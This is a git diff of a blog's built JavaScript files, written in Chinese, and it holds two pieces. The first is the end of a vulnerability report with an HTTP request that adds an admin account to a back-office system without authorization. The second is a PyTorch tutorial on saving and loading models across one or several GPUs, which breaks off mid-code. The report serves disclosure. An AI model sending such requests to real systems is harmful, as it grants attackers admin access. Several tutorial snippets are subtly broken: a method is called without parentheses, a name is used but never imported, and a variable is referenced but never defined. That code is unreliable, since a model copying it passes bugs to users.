\u4e00\u4e2a\u6388\u6743\u6f0f\u6d1e"}),"\n",(0,a.jsx)(n.p,{children:"**\u6f0f\u6d1e\u63cf\u8ff0\uff1a**\u653b\u51fb\u8005\u53ef\u4ee5\u672a\u6388\u6743\u6dfb\u52a0\u540e\u53f0\u7ba1\u7406\u5458\u7528\u6237"}),"\n",(0,a.jsx)(n.p,{children:"\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u901a\u8fc7burp\u53d1\u9001\u8bf7\u6c42\u5373\u53ef\u6dfb\u52a0\u7ba1\u7406\u5458\u7528\u6237"}),"\n",(0,a.jsx)(n.pre,{children:(0,a.jsx)(n.code,{className:"language-http",children:'POST /api/account/createAccount HTTP/1.1\nHost: xx.xx.xx.xx:xxx\nContent-Length: 165\nSec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"\nAccept: application/json, text/plain, */*\nContent-Type: application/json\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: "Windows"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\n\n{"quota":-1,"download":0,"upload":0,"username":"test02","pass":"qwe511402","roleId":2,"deleted":0,"expireTime":1964411864000,"createTime":"2023-04-09T05:57:44.830Z"}\n'})}),"\n",(0,a.jsxs)(n.p,{children:["\u53d1\u9001\u540e\uff0c\u5373\u53ef\u6210\u529f\u7528\u6237",(0,a.jsx)(n.code,{children:"test02"})," \u767b\u5f55\u5230\u540e\u53f0\uff0c\u5982\u4e0b\u56fe"]}),"\n",(0,a.jsx)(n.p,{children:(0,a.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648911.png",alt:"image-20230409143850113"})}),"\n",(0,a.jsx)(n.p,{children:"**\u6f0f\u6d1e\u5371\u5bb3\uff1a**\u5229\u7528\u8be5\u63a5\u53e3\uff0c\u653b\u51fb\u8005\u53ef\u6210\u529f\u6dfb\u52a0\u7528\u6237\u81f3\u540e\u53f0\u3001"}),"\n",(0,a.jsx)(n.p,{children:"**\u4fee\u590d\u5efa\u8bae\uff1a**\u6dfb\u52a0\u9274\u6743\uff0c\u53ea\u5141\u8bb8\u7cfb\u7edf\u7ba1\u7406\u5458\u6dfb\u52a0\u7528\u6237"})]})}function p(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,a.jsx)(n,{...e,children:(0,a.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/10b901da.c7be0c64.js b/assets/js/10b901da.c7be0c64.js new file mode 100644 index 0000000..07163fc --- /dev/null +++ b/assets/js/10b901da.c7be0c64.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4623],{28453:(e,n,d)=>{d.d(n,{R:()=>s,x:()=>t});var l=d(96540);const o={},r=l.createContext(o);function s(e){const n=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function t(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(o):e.components||o:s(e.components),l.createElement(r.Provider,{value:n},e.children)}},42419:(e,n,d)=>{d.r(n),d.d(n,{assets:()=>i,contentTitle:()=>t,default:()=>h,frontMatter:()=>s,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","title":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b"},"next":{"title":"\u7b2c\u516d\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/"}}');var o=d(74848),r=d(28453);const s={},t="5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md",i={},c=[{value:"5.4.1 \u6a21\u578b\u5b58\u50a8\u683c\u5f0f",id:"541-\u6a21\u578b\u5b58\u50a8\u683c\u5f0f",level:2},{value:"5.4.2 \u6a21\u578b\u5b58\u50a8\u5185\u5bb9",id:"542-\u6a21\u578b\u5b58\u50a8\u5185\u5bb9",level:2},{value:"5.4.3 \u5355\u5361\u548c\u591a\u5361\u6a21\u578b\u5b58\u50a8\u7684\u533a\u522b",id:"543-\u5355\u5361\u548c\u591a\u5361\u6a21\u578b\u5b58\u50a8\u7684\u533a\u522b",level:2},{value:"5.4.4 \u5355\u5361/\u591a\u5361\u60c5\u51b5\u5206\u7c7b\u8ba8\u8bba",id:"544-\u5355\u5361\u591a\u5361\u60c5\u51b5\u5206\u7c7b\u8ba8\u8bba",level:2},{value:"5.4.5 \u5176\u4ed6\u53c2\u6570\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6",id:"545-\u5176\u4ed6\u53c2\u6570\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6",level:2},{value:"\u9644\uff1a\u6d4b\u8bd5\u73af\u5883",id:"\u9644\u6d4b\u8bd5\u73af\u5883",level:2},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function a(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.header,{children:(0,o.jsx)(n.h1,{id:"54-pytorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6md",children:"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(n.table,{children:[(0,o.jsx)(n.thead,{children:(0,o.jsxs)(n.tr,{children:[(0,o.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(n.tbody,{children:(0,o.jsxs)(n.tr,{children:[(0,o.jsx)(n.td,{style:{textAlign:"left"},children:(0,o.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(n.table,{children:[(0,o.jsx)(n.thead,{children:(0,o.jsxs)(n.tr,{children:[(0,o.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(n.tbody,{children:(0,o.jsxs)(n.tr,{children:[(0,o.jsx)(n.td,{style:{textAlign:"left"},children:(0,o.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,o.jsx)(n.h1,{id:"54-pytorch\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6",children:"5.4 PyTorch\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"}),"\n",(0,o.jsx)(n.p,{children:"\u5728\u524d\u9762\u51e0\u8282\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u4ecb\u7ecd\u4e86\u5982\u4f55\u6784\u5efa\u548c\u4fee\u6539PyTorch\u6a21\u578b\u3002\u672c\u8282\u6211\u4eec\u6765\u8ba8\u8bbaPyTorch\u5982\u4f55\u4fdd\u5b58\u548c\u8bfb\u53d6\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u548c\u53c2\u6570\u3002"}),"\n",(0,o.jsx)(n.p,{children:"\u53e6\u5916\uff0c\u5728\u5f88\u591a\u573a\u666f\u4e0b\u6211\u4eec\u90fd\u4f1a\u4f7f\u7528\u591aGPU\u8bad\u7ec3\u3002\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6a21\u578b\u4f1a\u5206\u5e03\u4e8e\u5404\u4e2aGPU\u4e0a\uff08\u53c2\u52a02.3\u8282\u5206\u5e03\u6570\u636e\u5f0f\u8bad\u7ec3\uff0c\u8fd9\u91cc\u6682\u4e0d\u8003\u8651\u5206\u5e03\u6a21\u578b\u5f0f\u8bad\u7ec3\uff09\uff0c\u6a21\u578b\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6\u4e0e\u5355GPU\u8bad\u7ec3\u60c5\u666f\u4e0b\u662f\u5426\u6709\u6240\u4e0d\u540c\uff1f"}),"\n",(0,o.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:"PyTorch\u7684\u6a21\u578b\u7684\u5b58\u50a8\u683c\u5f0f"}),"\n",(0,o.jsx)(n.li,{children:"PyTorch\u5982\u4f55\u5b58\u50a8\u6a21\u578b"}),"\n",(0,o.jsx)(n.li,{children:"\u5355\u5361\u4e0e\u591a\u5361\u8bad\u7ec3\u4e0b\u6a21\u578b\u7684\u4fdd\u5b58\u4e0e\u52a0\u8f7d\u65b9\u6cd5"}),"\n",(0,o.jsx)(n.li,{children:"\u4f18\u5316\u5668\u6a21\u578b\u53c2\u6570\u7684\u4fdd\u5b58"}),"\n"]}),"\n",(0,o.jsx)(n.h2,{id:"541-\u6a21\u578b\u5b58\u50a8\u683c\u5f0f",children:"5.4.1 \u6a21\u578b\u5b58\u50a8\u683c\u5f0f"}),"\n",(0,o.jsx)(n.p,{children:"PyTorch\u5b58\u50a8\u6a21\u578b\u4e3b\u8981\u91c7\u7528pkl\uff0cpt\uff0cpth\u4e09\u79cd\u683c\u5f0f\u3002\u5c31\u4f7f\u7528\u5c42\u9762\u6765\u8bf4\u6ca1\u6709\u533a\u522b\uff0c\u8fd9\u91cc\u4e0d\u505a\u5177\u4f53\u7684\u8ba8\u8bba\u3002\u672c\u8282\u6700\u540e\u7684\u53c2\u8003\u5185\u5bb9\u4e2d\u5217\u51fa\u4e86\u67e5\u9605\u5230\u7684\u4e00\u4e9b\u8d44\u6599\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u8fdb\u4e00\u6b65\u7814\u7a76\uff0c\u6b22\u8fce\u7559\u8a00\u8ba8\u8bba\u3002"}),"\n",(0,o.jsx)(n.h2,{id:"542-\u6a21\u578b\u5b58\u50a8\u5185\u5bb9",children:"5.4.2 \u6a21\u578b\u5b58\u50a8\u5185\u5bb9"}),"\n",(0,o.jsx)(n.p,{children:"\u4e00\u4e2aPyTorch\u6a21\u578b\u4e3b\u8981\u5305\u542b\u4e24\u4e2a\u90e8\u5206\uff1a\u6a21\u578b\u7ed3\u6784\u548c\u6743\u91cd\u3002\u5176\u4e2d\u6a21\u578b\u662f\u7ee7\u627fnn.Module\u7684\u7c7b\uff0c\u6743\u91cd\u7684\u6570\u636e\u7ed3\u6784\u662f\u4e00\u4e2a\u5b57\u5178\uff08key\u662f\u5c42\u540d\uff0cvalue\u662f\u6743\u91cd\u5411\u91cf\uff09\u3002\u5b58\u50a8\u4e5f\u7531\u6b64\u5206\u4e3a\u4e24\u79cd\u5f62\u5f0f\uff1a\u5b58\u50a8\u6574\u4e2a\u6a21\u578b\uff08\u5305\u62ec\u7ed3\u6784\u548c\u6743\u91cd\uff09\uff0c\u548c\u53ea\u5b58\u50a8\u6a21\u578b\u6743\u91cd\u3002"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"from torchvision import models\nmodel = models.resnet152(pretrained=True)\nsave_dir = './resnet152.pth'\n\n# \u4fdd\u5b58\u6574\u4e2a\u6a21\u578b\ntorch.save(model, save_dir)\n# \u4fdd\u5b58\u6a21\u578b\u6743\u91cd\ntorch.save(model.state_dict, save_dir)\n"})}),"\n",(0,o.jsxs)(n.p,{children:["\u5bf9\u4e8ePyTorch\u800c\u8a00\uff0cpt, pth\u548cpkl",(0,o.jsx)(n.strong,{children:"\u4e09\u79cd\u6570\u636e\u683c\u5f0f\u5747\u652f\u6301\u6a21\u578b\u6743\u91cd\u548c\u6574\u4e2a\u6a21\u578b\u7684\u5b58\u50a8"}),"\uff0c\u56e0\u6b64\u4f7f\u7528\u4e0a\u6ca1\u6709\u5dee\u522b\u3002"]}),"\n",(0,o.jsx)(n.h2,{id:"543-\u5355\u5361\u548c\u591a\u5361\u6a21\u578b\u5b58\u50a8\u7684\u533a\u522b",children:"5.4.3 \u5355\u5361\u548c\u591a\u5361\u6a21\u578b\u5b58\u50a8\u7684\u533a\u522b"}),"\n",(0,o.jsxs)(n.p,{children:["PyTorch\u4e2d\u5c06\u6a21\u578b\u548c\u6570\u636e\u653e\u5230GPU\u4e0a\u6709\u4e24\u79cd\u65b9\u5f0f\u2014\u2014",(0,o.jsx)(n.code,{children:".cuda()"}),"\u548c",(0,o.jsx)(n.code,{children:".to(device)"}),"\uff0c\u672c\u8282\u540e\u7eed\u5185\u5bb9\u9488\u5bf9\u524d\u4e00\u79cd\u65b9\u5f0f\u8fdb\u884c\u8ba8\u8bba\u3002\u5982\u679c\u8981\u4f7f\u7528\u591a\u5361\u8bad\u7ec3\u7684\u8bdd\uff0c\u9700\u8981\u5bf9\u6a21\u578b\u4f7f\u7528",(0,o.jsx)(n.code,{children:"torch.nn.DataParallel"}),"\u3002\u793a\u4f8b\u5982\u4e0b\uff1a"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' # \u5982\u679c\u662f\u591a\u5361\u6539\u6210\u7c7b\u4f3c0,1,2\nmodel = model.cuda() # \u5355\u5361\nmodel = torch.nn.DataParallel(model).cuda() # \u591a\u5361\n"})}),"\n",(0,o.jsxs)(n.p,{children:["\u4e4b\u540e\u6211\u4eec\u628a",(0,o.jsx)(n.code,{children:"model"}),"\u5bf9\u5e94\u7684",(0,o.jsx)(n.code,{children:"layer"}),"\u540d\u79f0\u6253\u5370\u51fa\u6765\u770b\u4e00\u4e0b\uff0c\u53ef\u4ee5\u89c2\u5bdf\u5230\u5dee\u522b\u5728\u4e8e\u591a\u5361\u5e76\u884c\u7684\u6a21\u578b\u6bcf\u5c42\u7684\u540d\u79f0\u524d\u591a\u4e86\u4e00\u4e2a\u201cmodule\u201d\u3002"]}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:"\u5355\u5361\u6a21\u578b\u7684\u5c42\u540d\uff1a"}),"\n"]}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.img,{src:"https://pic3.zhimg.com/v2-3490f6ab8bc806274dd017e1a66e2486_b.png",alt:"img"})}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:"\u591a\u5361\u6a21\u578b\u7684\u5c42\u540d\uff1a"}),"\n"]}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.img,{src:"https://pic3.zhimg.com/v2-4b611c24c2e702749cebbe65eaff7cde_b.png",alt:"img"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u79cd\u6a21\u578b\u8868\u793a\u7684\u4e0d\u540c\u53ef\u80fd\u4f1a\u5bfc\u81f4\u6a21\u578b\u4fdd\u5b58\u548c\u52a0\u8f7d\u8fc7\u7a0b\u4e2d\u9700\u8981\u5904\u7406\u4e00\u4e9b\u77db\u76fe\u70b9\uff0c\u4e0b\u9762\u5bf9\u5404\u79cd\u53ef\u80fd\u7684\u60c5\u51b5\u505a\u5206\u7c7b\u8ba8\u8bba\u3002"}),"\n",(0,o.jsx)(n.h2,{id:"544-\u5355\u5361\u591a\u5361\u60c5\u51b5\u5206\u7c7b\u8ba8\u8bba",children:"5.4.4 \u5355\u5361/\u591a\u5361\u60c5\u51b5\u5206\u7c7b\u8ba8\u8bba"}),"\n",(0,o.jsx)(n.p,{children:"\u7531\u4e8e\u8bad\u7ec3\u548c\u6d4b\u8bd5\u6240\u4f7f\u7528\u7684\u786c\u4ef6\u6761\u4ef6\u4e0d\u540c\uff0c\u5728\u6a21\u578b\u7684\u4fdd\u5b58\u548c\u52a0\u8f7d\u8fc7\u7a0b\u4e2d\u53ef\u80fd\u56e0\u4e3a\u5355GPU\u548c\u591aGPU\u73af\u5883\u7684\u4e0d\u540c\u5e26\u6765\u6a21\u578b\u4e0d\u5339\u914d\u7b49\u95ee\u9898\u3002\u8fd9\u91cc\u5bf9PyTorch\u6846\u67b6\u4e0b\u5355\u5361/\u591a\u5361\u4e0b\u6a21\u578b\u7684\u4fdd\u5b58\u548c\u52a0\u8f7d\u95ee\u9898\u8fdb\u884c\u6392\u5217\u7ec4\u5408\uff08=4\uff09\uff0c\u6837\u4f8b\u6a21\u578b\u662ftorchvision\u4e2d\u9884\u8bad\u7ec3\u6a21\u578bresnet152\uff0c\u4e0d\u5c3d\u4e4b\u5904\u6b22\u8fce\u5927\u5bb6\u8865\u5145\u3002"}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.strong,{children:"\u5355\u5361\u4fdd\u5b58+\u5355\u5361\u52a0\u8f7d"})}),"\n"]}),"\n",(0,o.jsx)(n.p,{children:"\u5728\u4f7f\u7528os.envision\u547d\u4ee4\u6307\u5b9a\u4f7f\u7528\u7684GPU\u540e\uff0c\u5373\u53ef\u8fdb\u884c\u6a21\u578b\u4fdd\u5b58\u548c\u8bfb\u53d6\u64cd\u4f5c\u3002\u6ce8\u610f\u8fd9\u91cc\u5373\u4fbf\u4fdd\u5b58\u548c\u8bfb\u53d6\u65f6\u4f7f\u7528\u7684GPU\u4e0d\u540c\u4e5f\u65e0\u59a8\u3002"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nimport torch\nfrom torchvision import models\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nmodel = models.resnet152(pretrained=True)\nmodel.cuda()\n\nsave_dir = 'resnet152.pt' #\u4fdd\u5b58\u8def\u5f84\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\ntorch.save(model, save_dir)\nloaded_model = torch.load(save_dir)\nloaded_model.cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\ntorch.save(model.state_dict(), save_dir)\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.load_state_dict(torch.load(save_dir))\nloaded_model.cuda()\n"})}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.strong,{children:"\u5355\u5361\u4fdd\u5b58+\u591a\u5361\u52a0\u8f7d"})}),"\n"]}),"\n",(0,o.jsxs)(n.p,{children:["\u8fd9\u79cd\u60c5\u51b5\u7684\u5904\u7406\u6bd4\u8f83\u7b80\u5355\uff0c\u8bfb\u53d6\u5355\u5361\u4fdd\u5b58\u7684\u6a21\u578b\u540e\uff0c\u4f7f\u7528",(0,o.jsx)(n.code,{children:"nn.DataParallel"}),"\u51fd\u6570\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u8bbe\u7f6e\u5373\u53ef\uff08\u76f8\u5f53\u4e8e3.1\u4ee3\u7801\u4e2d.cuda()\u66ff\u6362\u4e00\u4e0b\uff09\uff1a"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nimport torch\nfrom torchvision import models\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nmodel = models.resnet152(pretrained=True)\nmodel.cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\ntorch.save(model, save_dir)\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nloaded_model = torch.load(save_dir)\nloaded_model = nn.DataParallel(loaded_model).cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\ntorch.save(model.state_dict(), save_dir)\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.load_state_dict(torch.load(save_dir))\nloaded_model = nn.DataParallel(loaded_model).cuda()\n"})}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.strong,{children:"\u591a\u5361\u4fdd\u5b58+\u5355\u5361\u52a0\u8f7d"})}),"\n"]}),"\n",(0,o.jsx)(n.p,{children:'\u8fd9\u79cd\u60c5\u51b5\u4e0b\u7684\u6838\u5fc3\u95ee\u9898\u662f\uff1a\u5982\u4f55\u53bb\u6389\u6743\u91cd\u5b57\u5178\u952e\u540d\u4e2d\u7684"module"\uff0c\u4ee5\u4fdd\u8bc1\u6a21\u578b\u7684\u7edf\u4e00\u6027\u3002'}),"\n",(0,o.jsx)(n.p,{children:"\u5bf9\u4e8e\u52a0\u8f7d\u6574\u4e2a\u6a21\u578b\uff0c\u76f4\u63a5\u63d0\u53d6\u6a21\u578b\u7684module\u5c5e\u6027\u5373\u53ef\uff1a"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nimport torch\nfrom torchvision import models\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\n\nmodel = models.resnet152(pretrained=True)\nmodel = nn.DataParallel(model).cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\ntorch.save(model, save_dir)\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nloaded_model = torch.load(save_dir).module\n"})}),"\n",(0,o.jsxs)(n.p,{children:["\u5bf9\u4e8e\u52a0\u8f7d\u6a21\u578b\u6743\u91cd\uff0c\u6709\u4ee5\u4e0b\u51e0\u79cd\u601d\u8def\uff1a\n",(0,o.jsx)(n.strong,{children:"\u4fdd\u5b58\u6a21\u578b\u65f6\u4fdd\u5b58\u6a21\u578b\u7684module\u5c5e\u6027\u5bf9\u5e94\u7684\u6743\u91cd"})]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nimport torch\nfrom torchvision import models\n\nsave_dir = 'resnet152.pth' #\u4fdd\u5b58\u8def\u5f84\nmodel = models.resnet152(pretrained=True)\nmodel = nn.DataParallel(model).cuda()\n\n# \u4fdd\u5b58\u6743\u91cd\ntorch.save(model.module.state_dict(), save_dir)\n"})}),"\n",(0,o.jsxs)(n.p,{children:["\u8fd9\u6837\u4fdd\u5b58\u4e0b\u6765\u7684\u6a21\u578b\u53c2\u6570\u5c31\u548c\u5355\u5361\u4fdd\u5b58\u7684\u6a21\u578b\u53c2\u6570\u4e00\u6837\u4e86\uff0c\u53ef\u4ee5\u76f4\u63a5\u52a0\u8f7d\u3002\u4e5f\u662f\u6bd4\u8f83\u63a8\u8350\u7684\u4e00\u79cd\u65b9\u6cd5\u3002\n",(0,o.jsx)(n.strong,{children:"\u53bb\u9664\u5b57\u5178\u91cc\u7684module\u9ebb\u70e6\uff0c\u5f80model\u91cc\u6dfb\u52a0module\u7b80\u5355"})]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nimport torch\nfrom torchvision import models\n\nmodel = models.resnet152(pretrained=True)\nmodel = nn.DataParallel(model).cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\ntorch.save(model.state_dict(), save_dir)\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.load_state_dict(torch.load(save_dir))\nloaded_model = nn.DataParallel(loaded_model).cuda()\nloaded_model.state_dict = loaded_dict\n"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u6837\u5373\u4fbf\u662f\u5355\u5361\uff0c\u4e5f\u53ef\u4ee5\u5f00\u59cb\u8bad\u7ec3\u4e86\uff08\u76f8\u5f53\u4e8e\u5206\u5e03\u5230\u5355\u5361\u4e0a\uff09"}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.strong,{children:"\u904d\u5386\u5b57\u5178\u53bb\u9664module"})}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"from collections import OrderedDict\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\n\nloaded_dict = torch.load(save_dir)\n\nnew_state_dict = OrderedDict()\nfor k, v in loaded_dict.items():\n name = k[7:] # module\u5b57\u6bb5\u5728\u6700\u524d\u9762\uff0c\u4ece\u7b2c7\u4e2a\u5b57\u7b26\u5f00\u59cb\u5c31\u53ef\u4ee5\u53bb\u6389module\n new_state_dict[name] = v #\u65b0\u5b57\u5178\u7684key\u503c\u5bf9\u5e94\u7684value\u4e00\u4e00\u5bf9\u5e94\n\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.state_dict = new_state_dict\nloaded_model = loaded_model.cuda()\n"})}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.strong,{children:"\u4f7f\u7528replace\u64cd\u4f5c\u53bb\u9664module"})}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"loaded_model = models.resnet152() \nloaded_dict = torch.load(save_dir)\nloaded_model.load_state_dict({k.replace('module.', ''): v for k, v in 